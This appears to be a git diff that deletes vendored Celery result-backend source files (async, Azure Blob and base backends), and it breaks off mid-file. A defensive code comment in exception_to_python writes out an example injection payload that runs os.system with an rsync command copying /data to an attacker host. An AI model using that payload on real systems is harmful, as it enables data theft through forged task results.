yield node.id, node._cache - - def add_pending_result(self, result, weak=False, start_drainer=True): - if start_drainer: - self.result_consumer.drainer.start() - try: - self._maybe_resolve_from_buffer(result) - except Empty: - self._add_pending_result(result.id, result, weak=weak) - return result - - def _maybe_resolve_from_buffer(self, result): - result._maybe_set_cache(self._pending_messages.take(result.id)) - - def _add_pending_result(self, task_id, result, weak=False): - concrete, weak_ = self._pending_results - if task_id not in weak_ and result.id not in concrete: - (weak_ if weak else concrete)[task_id] = result - self.result_consumer.consume_from(task_id) - - def add_pending_results(self, results, weak=False): - self.result_consumer.drainer.start() - return [self.add_pending_result(result, weak=weak, start_drainer=False) - for result in results] - - def remove_pending_result(self, result): - self._remove_pending_result(result.id) - self.on_result_fulfilled(result) - return result - - def _remove_pending_result(self, task_id): - for mapping in self._pending_results: - mapping.pop(task_id, None) - - def on_result_fulfilled(self, result): - self.result_consumer.cancel_for(result.id) - - def wait_for_pending(self, result, - callback=None, propagate=True, **kwargs): - self._ensure_not_eager() - for _ in self._wait_for_pending(result, **kwargs): - pass - return result.maybe_throw(callback=callback, propagate=propagate) - - def _wait_for_pending(self, result, - timeout=None, on_interval=None, on_message=None, - **kwargs): - return self.result_consumer._wait_for_pending( - result, timeout=timeout, - on_interval=on_interval, on_message=on_message, - **kwargs - ) - - @property - def is_async(self): - return True - - -class BaseResultConsumer: - """Manager responsible for consuming result messages.""" - - def __init__(self, backend, app, accept, - pending_results, pending_messages): - self.backend = backend - self.app = app - self.accept = accept - self._pending_results = pending_results - self._pending_messages = pending_messages - self.on_message = None - self.buckets = WeakKeyDictionary() - self.drainer = drainers[detect_environment()](self) - - def start(self, initial_task_id, **kwargs): - raise NotImplementedError() - - def stop(self): - pass - - def drain_events(self, timeout=None): - raise NotImplementedError() - - def consume_from(self, task_id): - raise NotImplementedError() - - def cancel_for(self, task_id): - raise NotImplementedError() - - def _after_fork(self): - self.buckets.clear() - self.buckets = WeakKeyDictionary() - self.on_message = None - self.on_after_fork() - - def on_after_fork(self): - pass - - def drain_events_until(self, p, timeout=None, on_interval=None): - return self.drainer.drain_events_until( - p, timeout=timeout, on_interval=on_interval) - - def _wait_for_pending(self, result, - timeout=None, on_interval=None, on_message=None, - **kwargs): - self.on_wait_for_pending(result, timeout=timeout, **kwargs) - prev_on_m, self.on_message = self.on_message, on_message - try: - for _ in self.drain_events_until( - result.on_ready, timeout=timeout, - on_interval=on_interval): - yield - sleep(0) - except socket.timeout: - raise TimeoutError('The operation timed out.') - finally: - self.on_message = prev_on_m - - def on_wait_for_pending(self, result, timeout=None, **kwargs): - pass - - def on_out_of_band_result(self, message): - self.on_state_change(message.payload, message) - - def _get_pending_result(self, task_id): - for mapping in self._pending_results: - try: - return mapping[task_id] - except KeyError: - pass - raise KeyError(task_id) - - def on_state_change(self, meta, message): - if self.on_message: - self.on_message(meta) - if meta['status'] in states.READY_STATES: - task_id = meta['task_id'] - try: - result = self._get_pending_result(task_id) - except KeyError: - # send to buffer in case we received this result - # before it was added to _pending_results. - self._pending_messages.put(task_id, meta) - else: - result._maybe_set_cache(meta) - buckets = self.buckets - try: - # remove bucket for this result, since it's fulfilled - bucket = buckets.pop(result) - except KeyError: - pass - else: - # send to waiter via bucket - bucket.append(result) - sleep(0) diff --git a/backend/venv/Lib/site-packages/celery/backends/azureblockblob.py b/backend/venv/Lib/site-packages/celery/backends/azureblockblob.py deleted file mode 100644 index 3648cbe4..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/azureblockblob.py +++ /dev/null @@ -1,188 +0,0 @@ -"""The Azure Storage Block Blob backend for Celery.""" -from kombu.transport.azurestoragequeues import Transport as AzureStorageQueuesTransport -from kombu.utils import cached_property -from kombu.utils.encoding import bytes_to_str - -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import azure.storage.blob as azurestorage - from azure.core.exceptions import ResourceExistsError, ResourceNotFoundError - from azure.storage.blob import BlobServiceClient -except ImportError: - azurestorage = None - -__all__ = ("AzureBlockBlobBackend",) - -LOGGER = get_logger(__name__) -AZURE_BLOCK_BLOB_CONNECTION_PREFIX = 'azureblockblob://' - - -class AzureBlockBlobBackend(KeyValueStoreBackend): - """Azure Storage Block Blob backend for Celery.""" - - def __init__(self, - url=None, - container_name=None, - *args, - **kwargs): - """ - Supported URL formats: - - azureblockblob://CONNECTION_STRING - azureblockblob://DefaultAzureCredential@STORAGE_ACCOUNT_URL - azureblockblob://ManagedIdentityCredential@STORAGE_ACCOUNT_URL - """ - super().__init__(*args, **kwargs) - - if azurestorage is None or azurestorage.__version__ < '12': - raise ImproperlyConfigured( - "You need to install the azure-storage-blob v12 library to" - "use the AzureBlockBlob backend") - - conf = self.app.conf - - self._connection_string = self._parse_url(url) - - self._container_name = ( - container_name or - conf["azureblockblob_container_name"]) - - self.base_path = conf.get('azureblockblob_base_path', '') - self._connection_timeout = conf.get( - 'azureblockblob_connection_timeout', 20 - ) - self._read_timeout = conf.get('azureblockblob_read_timeout', 120) - - @classmethod - def _parse_url(cls, url, prefix=AZURE_BLOCK_BLOB_CONNECTION_PREFIX): - connection_string = url[len(prefix):] - if not connection_string: - raise ImproperlyConfigured("Invalid URL") - - return connection_string - - @cached_property - def _blob_service_client(self): - """Return the Azure Storage Blob service client. - - If this is the first call to the property, the client is created and - the container is created if it doesn't yet exist. - - """ - if ( - "DefaultAzureCredential" in self._connection_string or - "ManagedIdentityCredential" in self._connection_string - ): - # Leveraging the work that Kombu already did for us - credential_, url = AzureStorageQueuesTransport.parse_uri( - self._connection_string - ) - client = BlobServiceClient( - account_url=url, - credential=credential_, - connection_timeout=self._connection_timeout, - read_timeout=self._read_timeout, - ) - else: - client = BlobServiceClient.from_connection_string( - self._connection_string, - connection_timeout=self._connection_timeout, - read_timeout=self._read_timeout, - ) - - try: - client.create_container(name=self._container_name) - msg = f"Container created with name {self._container_name}." - except ResourceExistsError: - msg = f"Container with name {self._container_name} already." \ - "exists. This will not be created." - LOGGER.info(msg) - - return client - - def get(self, key): - """Read the value stored at the given key. - - Args: - key: The key for which to read the value. - """ - key = bytes_to_str(key) - LOGGER.debug("Getting Azure Block Blob %s/%s", self._container_name, key) - - blob_client = self._blob_service_client.get_blob_client( - container=self._container_name, - blob=f'{self.base_path}{key}', - ) - - try: - return blob_client.download_blob().readall().decode() - except ResourceNotFoundError: - return None - - def set(self, key, value): - """Store a value for a given key. - - Args: - key: The key at which to store the value. - value: The value to store. - - """ - key = bytes_to_str(key) - LOGGER.debug(f"Creating azure blob at {self._container_name}/{key}") - - blob_client = self._blob_service_client.get_blob_client( - container=self._container_name, - blob=f'{self.base_path}{key}', - ) - - blob_client.upload_blob(value, overwrite=True) - - def mget(self, keys): - """Read all the values for the provided keys. - - Args: - keys: The list of keys to read. - - """ - return [self.get(key) for key in keys] - - def delete(self, key): - """Delete the value at a given key. - - Args: - key: The key of the value to delete. - - """ - key = bytes_to_str(key) - LOGGER.debug(f"Deleting azure blob at {self._container_name}/{key}") - - blob_client = self._blob_service_client.get_blob_client( - container=self._container_name, - blob=f'{self.base_path}{key}', - ) - - blob_client.delete_blob() - - def as_uri(self, include_password=False): - if include_password: - return ( - f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' - f'{self._connection_string}' - ) - - connection_string_parts = self._connection_string.split(';') - account_key_prefix = 'AccountKey=' - redacted_connection_string_parts = [ - f'{account_key_prefix}**' if part.startswith(account_key_prefix) - else part - for part in connection_string_parts - ] - - return ( - f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' - f'{";".join(redacted_connection_string_parts)}' - ) diff --git a/backend/venv/Lib/site-packages/celery/backends/base.py b/backend/venv/Lib/site-packages/celery/backends/base.py deleted file mode 100644 index dc79f4eb..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/base.py +++ /dev/null @@ -1,1112 +0,0 @@ -"""Result backend base classes. - -- :class:`BaseBackend` defines the interface. - -- :class:`KeyValueStoreBackend` is a common base class - using K/V semantics like _get and _put. -""" -import sys -import time -import warnings -from collections import namedtuple -from datetime import timedelta -from functools import partial -from weakref import WeakValueDictionary - -from billiard.einfo import ExceptionInfo -from kombu.serialization import dumps, loads, prepare_accept_content -from kombu.serialization import registry as serializer_registry -from kombu.utils.encoding import bytes_to_str, ensure_bytes -from kombu.utils.url import maybe_sanitize_url - -import celery.exceptions -from celery import current_app, group, maybe_signature, states -from celery._state import get_current_task -from celery.app.task import Context -from celery.exceptions import (BackendGetMetaError, BackendStoreError, ChordError, ImproperlyConfigured, - NotRegistered, SecurityError, TaskRevokedError, TimeoutError) -from celery.result import GroupResult, ResultBase, ResultSet, allow_join_result, result_from_tuple -from celery.utils.collections import BufferMap -from celery.utils.functional import LRUCache, arity_greater -from celery.utils.log import get_logger -from celery.utils.serialization import (create_exception_cls, ensure_serializable, get_pickleable_exception, - get_pickled_exception, raise_with_context) -from celery.utils.time import get_exponential_backoff_interval - -__all__ = ('BaseBackend', 'KeyValueStoreBackend', 'DisabledBackend') - -EXCEPTION_ABLE_CODECS = frozenset({'pickle'}) - -logger = get_logger(__name__) - -MESSAGE_BUFFER_MAX = 8192 - -pending_results_t = namedtuple('pending_results_t', ( - 'concrete', 'weak', -)) - -E_NO_BACKEND = """ -No result backend is configured. -Please see the documentation for more information. -""" - -E_CHORD_NO_BACKEND = """ -Starting chords requires a result backend to be configured. - -Note that a group chained with a task is also upgraded to be a chord, -as this pattern requires synchronization. - -Result backends that supports chords: Redis, Database, Memcached, and more. -""" - - -def unpickle_backend(cls, args, kwargs): - """Return an unpickled backend.""" - return cls(*args, app=current_app._get_current_object(), **kwargs) - - -class _nulldict(dict): - def ignore(self, *a, **kw): - pass - - __setitem__ = update = setdefault = ignore - - -def _is_request_ignore_result(request): - if request is None: - return False - return request.ignore_result - - -class Backend: - READY_STATES = states.READY_STATES - UNREADY_STATES = states.UNREADY_STATES - EXCEPTION_STATES = states.EXCEPTION_STATES - - TimeoutError = TimeoutError - - #: Time to sleep between polling each individual item - #: in `ResultSet.iterate`. as opposed to the `interval` - #: argument which is for each pass. - subpolling_interval = None - - #: If true the backend must implement :meth:`get_many`. - supports_native_join = False - - #: If true the backend must automatically expire results. - #: The daily backend_cleanup periodic task won't be triggered - #: in this case. - supports_autoexpire = False - - #: Set to true if the backend is persistent by default. - persistent = True - - retry_policy = { - 'max_retries': 20, - 'interval_start': 0, - 'interval_step': 1, - 'interval_max': 1, - } - - def __init__(self, app, - serializer=None, max_cached_results=None, accept=None, - expires=None, expires_type=None, url=None, **kwargs): - self.app = app - conf = self.app.conf - self.serializer = serializer or conf.result_serializer - (self.content_type, - self.content_encoding, - self.encoder) = serializer_registry._encoders[self.serializer] - cmax = max_cached_results or conf.result_cache_max - self._cache = _nulldict() if cmax == -1 else LRUCache(limit=cmax) - - self.expires = self.prepare_expires(expires, expires_type) - - # precedence: accept, conf.result_accept_content, conf.accept_content - self.accept = conf.result_accept_content if accept is None else accept - self.accept = conf.accept_content if self.accept is None else self.accept - self.accept = prepare_accept_content(self.accept) - - self.always_retry = conf.get('result_backend_always_retry', False) - self.max_sleep_between_retries_ms = conf.get('result_backend_max_sleep_between_retries_ms', 10000) - self.base_sleep_between_retries_ms = conf.get('result_backend_base_sleep_between_retries_ms', 10) - self.max_retries = conf.get('result_backend_max_retries', float("inf")) - self.thread_safe = conf.get('result_backend_thread_safe', False) - - self._pending_results = pending_results_t({}, WeakValueDictionary()) - self._pending_messages = BufferMap(MESSAGE_BUFFER_MAX) - self.url = url - - def as_uri(self, include_password=False): - """Return the backend as an URI, sanitizing the password or not.""" - # when using maybe_sanitize_url(), "/" is added - # we're stripping it for consistency - if include_password: - return self.url - url = maybe_sanitize_url(self.url or '') - return url[:-1] if url.endswith(':///') else url - - def mark_as_started(self, task_id, **meta): - """Mark a task as started.""" - return self.store_result(task_id, meta, states.STARTED) - - def mark_as_done(self, task_id, result, - request=None, store_result=True, state=states.SUCCESS): - """Mark task as successfully executed.""" - if (store_result and not _is_request_ignore_result(request)): - self.store_result(task_id, result, state, request=request) - if request and request.chord: - self.on_chord_part_return(request, state, result) - - def mark_as_failure(self, task_id, exc, - traceback=None, request=None, - store_result=True, call_errbacks=True, - state=states.FAILURE): - """Mark task as executed with failure.""" - if store_result: - self.store_result(task_id, exc, state, - traceback=traceback, request=request) - if request: - # This task may be part of a chord - if request.chord: - self.on_chord_part_return(request, state, exc) - # It might also have chained tasks which need to be propagated to, - # this is most likely to be exclusive with being a direct part of a - # chord but we'll handle both cases separately. - # - # The `chain_data` try block here is a bit tortured since we might - # have non-iterable objects here in tests and it's easier this way. - try: - chain_data = iter(request.chain) - except (AttributeError, TypeError): - chain_data = tuple() - for chain_elem in chain_data: - # Reconstruct a `Context` object for the chained task which has - # enough information to for backends to work with - chain_elem_ctx = Context(chain_elem) - chain_elem_ctx.update(chain_elem_ctx.options) - chain_elem_ctx.id = chain_elem_ctx.options.get('task_id') - chain_elem_ctx.group = chain_elem_ctx.options.get('group_id') - # If the state should be propagated, we'll do so for all - # elements of the chain. This is only truly important so - # that the last chain element which controls completion of - # the chain itself is marked as completed to avoid stalls. - # - # Some chained elements may be complex signatures and have no - # task ID of their own, so we skip them hoping that not - # descending through them is OK. If the last chain element is - # complex, we assume it must have been uplifted to a chord by - # the canvas code and therefore the condition below will ensure - # that we mark something as being complete as avoid stalling. - if ( - store_result and state in states.PROPAGATE_STATES and - chain_elem_ctx.task_id is not None - ): - self.store_result( - chain_elem_ctx.task_id, exc, state, - traceback=traceback, request=chain_elem_ctx, - ) - # If the chain element is a member of a chord, we also need - # to call `on_chord_part_return()` as well to avoid stalls. - if 'chord' in chain_elem_ctx.options: - self.on_chord_part_return(chain_elem_ctx, state, exc) - # And finally we'll fire any errbacks - if call_errbacks and request.errbacks: - self._call_task_errbacks(request, exc, traceback) - - def _call_task_errbacks(self, request, exc, traceback): - old_signature = [] - for errback in request.errbacks: - errback = self.app.signature(errback) - if not errback._app: - # Ensure all signatures have an application - errback._app = self.app - try: - if ( - # Celery tasks type created with the @task decorator have - # the __header__ property, but Celery task created from - # Task class do not have this property. - # That's why we have to check if this property exists - # before checking is it partial function. - hasattr(errback.type, '__header__') and - - # workaround to support tasks with bind=True executed as - # link errors. Otherwise, retries can't be used - not isinstance(errback.type.__header__, partial) and - arity_greater(errback.type.__header__, 1) - ): - errback(request, exc, traceback) - else: - old_signature.append(errback) - except NotRegistered: - # Task may not be present in this worker. - # We simply send it forward for another worker to consume. - # If the task is not registered there, the worker will raise - # NotRegistered. - old_signature.append(errback) - - if old_signature: - # Previously errback was called as a task so we still - # need to do so if the errback only takes a single task_id arg. - task_id = request.id - root_id = request.root_id or task_id - g = group(old_signature, app=self.app) - if self.app.conf.task_always_eager or request.delivery_info.get('is_eager', False): - g.apply( - (task_id,), parent_id=task_id, root_id=root_id - ) - else: - g.apply_async( - (task_id,), parent_id=task_id, root_id=root_id - ) - - def mark_as_revoked(self, task_id, reason='', - request=None, store_result=True, state=states.REVOKED): - exc = TaskRevokedError(reason) - if store_result: - self.store_result(task_id, exc, state, - traceback=None, request=request) - if request and request.chord: - self.on_chord_part_return(request, state, exc) - - def mark_as_retry(self, task_id, exc, traceback=None, - request=None, store_result=True, state=states.RETRY): - """Mark task as being retries. - - Note: - Stores the current exception (if any). - """ - return self.store_result(task_id, exc, state, - traceback=traceback, request=request) - - def chord_error_from_stack(self, callback, exc=None): - app = self.app - try: - backend = app._tasks[callback.task].backend - except KeyError: - backend = self - # We have to make a fake request since either the callback failed or - # we're pretending it did since we don't have information about the - # chord part(s) which failed. This request is constructed as a best - # effort for new style errbacks and may be slightly misleading about - # what really went wrong, but at least we call them! - fake_request = Context({ - "id": callback.options.get("task_id"), - "errbacks": callback.options.get("link_error", []), - "delivery_info": dict(), - **callback - }) - try: - self._call_task_errbacks(fake_request, exc, None) - except Exception as eb_exc: # pylint: disable=broad-except - return backend.fail_from_current_stack(callback.id, exc=eb_exc) - else: - return backend.fail_from_current_stack(callback.id, exc=exc) - - def fail_from_current_stack(self, task_id, exc=None): - type_, real_exc, tb = sys.exc_info() - try: - exc = real_exc if exc is None else exc - exception_info = ExceptionInfo((type_, exc, tb)) - self.mark_as_failure(task_id, exc, exception_info.traceback) - return exception_info - finally: - while tb is not None: - try: - tb.tb_frame.clear() - tb.tb_frame.f_locals - except RuntimeError: - # Ignore the exception raised if the frame is still executing. - pass - tb = tb.tb_next - - del tb - - def prepare_exception(self, exc, serializer=None): - """Prepare exception for serialization.""" - serializer = self.serializer if serializer is None else serializer - if serializer in EXCEPTION_ABLE_CODECS: - return get_pickleable_exception(exc) - exctype = type(exc) - return {'exc_type': getattr(exctype, '__qualname__', exctype.__name__), - 'exc_message': ensure_serializable(exc.args, self.encode), - 'exc_module': exctype.__module__} - - def exception_to_python(self, exc): - """Convert serialized exception to Python exception.""" - if not exc: - return None - elif isinstance(exc, BaseException): - if self.serializer in EXCEPTION_ABLE_CODECS: - exc = get_pickled_exception(exc) - return exc - elif not isinstance(exc, dict): - try: - exc = dict(exc) - except TypeError as e: - raise TypeError(f"If the stored exception isn't an " - f"instance of " - f"BaseException, it must be a dictionary.\n" - f"Instead got: {exc}") from e - - exc_module = exc.get('exc_module') - try: - exc_type = exc['exc_type'] - except KeyError as e: - raise ValueError("Exception information must include " - "the exception type") from e - if exc_module is None: - cls = create_exception_cls( - exc_type, __name__) - else: - try: - # Load module and find exception class in that - cls = sys.modules[exc_module] - # The type can contain qualified name with parent classes - for name in exc_type.split('.'): - cls = getattr(cls, name) - except (KeyError, AttributeError): - cls = create_exception_cls(exc_type, - celery.exceptions.__name__) - exc_msg = exc.get('exc_message', '') - - # If the recreated exception type isn't indeed an exception, - # this is a security issue. Without the condition below, an attacker - # could exploit a stored command vulnerability to execute arbitrary - # python code such as: - # os.system("rsync /data attacker@192.168.56.100:~/data") - # The attacker sets the task's result to a failure in the result - # backend with the os as the module, the system function as the - # exception type and the payload - # rsync /data attacker@192.168.56.100:~/data - # as the exception arguments like so: - # { - # "exc_module": "os", - # "exc_type": "system", - # "exc_message": "rsync /data attacker@192.168.56.100:~/data" - # } - if not isinstance(cls, type) or not issubclass(cls, BaseException): - fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}' - raise SecurityError( - f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}") - - # XXX: Without verifying `cls` is actually an exception class, - # an attacker could execute arbitrary python code. - # cls could be anything, even eval(). - try: - if isinstance(exc_msg, (tuple, list)): - exc = cls(*exc_msg) - else: - exc = cls(exc_msg) - except Exception as err: # noqa - exc = Exception(f'{cls}({exc_msg})') - - return exc - - def prepare_value(self, result): - """Prepare value for storage.""" - if self.serializer != 'pickle' and isinstance(result, ResultBase): - return result.as_tuple() - return result - - def encode(self, data): - _, _, payload = self._encode(data) - return payload - - def _encode(self, data): - return dumps(data, serializer=self.serializer) - - def meta_from_decoded(self, meta): - if meta['status'] in self.EXCEPTION_STATES: - meta['result'] = self.exception_to_python(meta['result']) - return meta - - def decode_result(self, payload): - return self.meta_from_decoded(self.decode(payload)) - - def decode(self, payload): - if payload is None: - return payload - payload = payload or str(payload) - return loads(payload, - content_type=self.content_type, - content_encoding=self.content_encoding, - accept=self.accept) - - def prepare_expires(self, value, type=None): - if value is None: - value = self.app.conf.result_expires - if isinstance(value, timedelta): - value = value.total_seconds() - if value is not None and type: - return type(value) - return value - - def prepare_persistent(self, enabled=None): - if enabled is not None: - return enabled - persistent = self.app.conf.result_persistent - return self.persistent if persistent is None else persistent - - def encode_result(self, result, state): - if state in self.EXCEPTION_STATES and isinstance(result, Exception): - return self.prepare_exception(result) - return self.prepare_value(result) - - def is_cached(self, task_id): - return task_id in self._cache - - def _get_result_meta(self, result, - state, traceback, request, format_date=True, - encode=False): - if state in self.READY_STATES: - date_done = self.app.now() - if format_date: - date_done = date_done.isoformat() - else: - date_done = None - - meta = { - 'status': state, - 'result': result, - 'traceback': traceback, - 'children': self.current_task_children(request), - 'date_done': date_done, - } - - if request and getattr(request, 'group', None): - meta['group_id'] = request.group - if request and getattr(request, 'parent_id', None): - meta['parent_id'] = request.parent_id - - if self.app.conf.find_value_for_key('extended', 'result'): - if request: - request_meta = { - 'name': getattr(request, 'task', None), - 'args': getattr(request, 'args', None), - 'kwargs': getattr(request, 'kwargs', None), - 'worker': getattr(request, 'hostname', None), - 'retries': getattr(request, 'retries', None), - 'queue': request.delivery_info.get('routing_key') - if hasattr(request, 'delivery_info') and - request.delivery_info else None, - } - if getattr(request, 'stamps', None): - request_meta['stamped_headers'] = request.stamped_headers - request_meta.update(request.stamps) - - if encode: - # args and kwargs need to be encoded properly before saving - encode_needed_fields = {"args", "kwargs"} - for field in encode_needed_fields: - value = request_meta[field] - encoded_value = self.encode(value) - request_meta[field] = ensure_bytes(encoded_value) - - meta.update(request_meta) - - return meta - - def _sleep(self, amount): - time.sleep(amount) - - def store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Update task state and result. - - if always_retry_backend_operation is activated, in the event of a recoverable exception, - then retry operation with an exponential backoff until a limit has been reached. - """ - result = self.encode_result(result, state) - - retries = 0 - - while True: - try: - self._store_result(task_id, result, state, traceback, - request=request, **kwargs) - return result - except Exception as exc: - if self.always_retry and self.exception_safe_to_retry(exc): - if retries < self.max_retries: - retries += 1 - - # get_exponential_backoff_interval computes integers - # and time.sleep accept floats for sub second sleep - sleep_amount = get_exponential_backoff_interval( - self.base_sleep_between_retries_ms, retries, - self.max_sleep_between_retries_ms, True) / 1000 - self._sleep(sleep_amount) - else: - raise_with_context( - BackendStoreError("failed to store result on the backend", task_id=task_id, state=state), - ) - else: - raise - - def forget(self, task_id): - self._cache.pop(task_id, None) - self._forget(task_id) - - def _forget(self, task_id): - raise NotImplementedError('backend does not implement forget.') - - def get_state(self, task_id): - """Get the state of a task.""" - return self.get_task_meta(task_id)['status'] - - get_status = get_state # XXX compat - - def get_traceback(self, task_id): - """Get the traceback for a failed task.""" - return self.get_task_meta(task_id).get('traceback') - - def get_result(self, task_id): - """Get the result of a task.""" - return self.get_task_meta(task_id).get('result') - - def get_children(self, task_id): - """Get the list of subtasks sent by a task.""" - try: - return self.get_task_meta(task_id)['children'] - except KeyError: - pass - - def _ensure_not_eager(self): - if self.app.conf.task_always_eager and not self.app.conf.task_store_eager_result: - warnings.warn( - "Results are not stored in backend and should not be retrieved when " - "task_always_eager is enabled, unless task_store_eager_result is enabled.", - RuntimeWarning - ) - - def exception_safe_to_retry(self, exc): - """Check if an exception is safe to retry. - - Backends have to overload this method with correct predicates dealing with their exceptions. - - By default no exception is safe to retry, it's up to backend implementation - to define which exceptions are safe. - """ - return False - - def get_task_meta(self, task_id, cache=True): - """Get task meta from backend. - - if always_retry_backend_operation is activated, in the event of a recoverable exception, - then retry operation with an exponential backoff until a limit has been reached. - """ - self._ensure_not_eager() - if cache: - try: - return self._cache[task_id] - except KeyError: - pass - retries = 0 - while True: - try: - meta = self._get_task_meta_for(task_id) - break - except Exception as exc: - if self.always_retry and self.exception_safe_to_retry(exc): - if retries < self.max_retries: - retries += 1 - - # get_exponential_backoff_interval computes integers - # and time.sleep accept floats for sub second sleep - sleep_amount = get_exponential_backoff_interval( - self.base_sleep_between_retries_ms, retries, - self.max_sleep_between_retries_ms, True) / 1000 - self._sleep(sleep_amount) - else: - raise_with_context( - BackendGetMetaError("failed to get meta", task_id=task_id), - ) - else: - raise - - if cache and meta.get('status') == states.SUCCESS: - self._cache[task_id] = meta - return meta - - def reload_task_result(self, task_id): - """Reload task result, even if it has been previously fetched.""" - self._cache[task_id] = self.get_task_meta(task_id, cache=False) - - def reload_group_result(self, group_id): - """Reload group result, even if it has been previously fetched.""" - self._cache[group_id] = self.get_group_meta(group_id, cache=False) - - def get_group_meta(self, group_id, cache=True): - self._ensure_not_eager() - if cache: - try: - return self._cache[group_id] - except KeyError: - pass - - meta = self._restore_group(group_id) - if cache and meta is not None: - self._cache[group_id] = meta - return meta - - def restore_group(self, group_id, cache=True): - """Get the result for a group.""" - meta = self.get_group_meta(group_id, cache=cache) - if meta: - return meta['result'] - - def save_group(self, group_id, result): - """Store the result of an executed group.""" - return self._save_group(group_id, result) - - def delete_group(self, group_id): - self._cache.pop(group_id, None) - return self._delete_group(group_id) - - def cleanup(self): - """Backend cleanup.""" - - def process_cleanup(self): - """Cleanup actions to do at the end of a task worker process.""" - - def on_task_call(self, producer, task_id): - return {} - - def add_to_chord(self, chord_id, result): - raise NotImplementedError('Backend does not support add_to_chord') - - def on_chord_part_return(self, request, state, result, **kwargs): - pass - - def set_chord_size(self, group_id, chord_size): - pass - - def fallback_chord_unlock(self, header_result, body, countdown=1, - **kwargs): - kwargs['result'] = [r.as_tuple() for r in header_result] - try: - body_type = getattr(body, 'type', None) - except NotRegistered: - body_type = None - - queue = body.options.get('queue', getattr(body_type, 'queue', None)) - - if queue is None: - # fallback to default routing if queue name was not - # explicitly passed to body callback - queue = self.app.amqp.router.route(kwargs, body.name)['queue'].name - - priority = body.options.get('priority', getattr(body_type, 'priority', 0)) - self.app.tasks['celery.chord_unlock'].apply_async( - (header_result.id, body,), kwargs, - countdown=countdown, - queue=queue, - priority=priority, - ) - - def ensure_chords_allowed(self): - pass - - def apply_chord(self, header_result_args, body, **kwargs): - self.ensure_chords_allowed() - header_result = self.app.GroupResult(*header_result_args) - self.fallback_chord_unlock(header_result, body, **kwargs) - - def current_task_children(self, request=None): - request = request or getattr(get_current_task(), 'request', None) - if request: - return [r.as_tuple() for r in getattr(request, 'children', [])] - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return (unpickle_backend, (self.__class__, args, kwargs)) - - -class SyncBackendMixin: - def iter_native(self, result, timeout=None, interval=0.5, no_ack=True, - on_message=None, on_interval=None): - self._ensure_not_eager() - results = result.results - if not results: - return - - task_ids = set() - for result in results: - if isinstance(result, ResultSet): - yield result.id, result.results - else: - task_ids.add(result.id) - - yield from self.get_many( - task_ids, - timeout=timeout, interval=interval, no_ack=no_ack, - on_message=on_message, on_interval=on_interval, - ) - - def wait_for_pending(self, result, timeout=None, interval=0.5, - no_ack=True, on_message=None, on_interval=None, - callback=None, propagate=True): - self._ensure_not_eager() - if on_message is not None: - raise ImproperlyConfigured( - 'Backend does not support on_message callback') - - meta = self.wait_for( - result.id, timeout=timeout, - interval=interval, - on_interval=on_interval, - no_ack=no_ack, - ) - if meta: - result._maybe_set_cache(meta) - return result.maybe_throw(propagate=propagate, callback=callback) - - def wait_for(self, task_id, - timeout=None, interval=0.5, no_ack=True, on_interval=None): - """Wait for task and return its result. - - If the task raises an exception, this exception - will be re-raised by :func:`wait_for`. - - Raises: - celery.exceptions.TimeoutError: - If `timeout` is not :const:`None`, and the operation - takes longer than `timeout` seconds. - """ - self._ensure_not_eager() - - time_elapsed = 0.0 - - while 1: - meta = self.get_task_meta(task_id) - if meta['status'] in states.READY_STATES: - return meta - if on_interval: - on_interval() - # avoid hammering the CPU checking status. - time.sleep(interval) - time_elapsed += interval - if timeout and time_elapsed >= timeout: - raise TimeoutError('The operation timed out.') - - def add_pending_result(self, result, weak=False): - return result - - def remove_pending_result(self, result): - return result - - @property - def is_async(self): - return False - - -class BaseBackend(Backend, SyncBackendMixin): - """Base (synchronous) result backend.""" - - -BaseDictBackend = BaseBackend # XXX compat - - -class BaseKeyValueStoreBackend(Backend): - key_t = ensure_bytes - task_keyprefix = 'celery-task-meta-' - group_keyprefix = 'celery-taskset-meta-' - chord_keyprefix = 'chord-unlock-' - implements_incr = False - - def __init__(self, *args, **kwargs): - if hasattr(self.key_t, '__func__'): # pragma: no cover - self.key_t = self.key_t.__func__ # remove binding - super().__init__(*args, **kwargs) - self._add_global_keyprefix() - self._encode_prefixes() - if self.implements_incr: - self.apply_chord = self._apply_chord_incr - - def _add_global_keyprefix(self): - """ - This method prepends the global keyprefix to the existing keyprefixes. - - This method checks if a global keyprefix is configured in `result_backend_transport_options` using the - `global_keyprefix` key. If so, then it is prepended to the task, group and chord key prefixes. - """ - global_keyprefix = self.app.conf.get('result_backend_transport_options', {}).get("global_keyprefix", None) - if global_keyprefix: - if global_keyprefix[-1] not in ':_-.': - global_keyprefix += '_' - self.task_keyprefix = f"{global_keyprefix}{self.task_keyprefix}" - self.group_keyprefix = f"{global_keyprefix}{self.group_keyprefix}" - self.chord_keyprefix = f"{global_keyprefix}{self.chord_keyprefix}" - - def _encode_prefixes(self): - self.task_keyprefix = self.key_t(self.task_keyprefix) - self.group_keyprefix = self.key_t(self.group_keyprefix) - self.chord_keyprefix = self.key_t(self.chord_keyprefix) - - def get(self, key): - raise NotImplementedError('Must implement the get method.') - - def mget(self, keys): - raise NotImplementedError('Does not support get_many') - - def _set_with_state(self, key, value, state): - return self.set(key, value) - - def set(self, key, value): - raise NotImplementedError('Must implement the set method.') - - def delete(self, key): - raise NotImplementedError('Must implement the delete method') - - def incr(self, key): - raise NotImplementedError('Does not implement incr') - - def expire(self, key, value): - pass - - def get_key_for_task(self, task_id, key=''): - """Get the cache key for a task by id.""" - if not task_id: - raise ValueError(f'task_id must not be empty. Got {task_id} instead.') - return self._get_key_for(self.task_keyprefix, task_id, key) - - def get_key_for_group(self, group_id, key=''): - """Get the cache key for a group by id.""" - if not group_id: - raise ValueError(f'group_id must not be empty. Got {group_id} instead.') - return self._get_key_for(self.group_keyprefix, group_id, key) - - def get_key_for_chord(self, group_id, key=''): - """Get the cache key for the chord waiting on group with given id.""" - if not group_id: - raise ValueError(f'group_id must not be empty. Got {group_id} instead.') - return self._get_key_for(self.chord_keyprefix, group_id, key) - - def _get_key_for(self, prefix, id, key=''): - key_t = self.key_t - - return key_t('').join([ - prefix, key_t(id), key_t(key), - ]) - - def 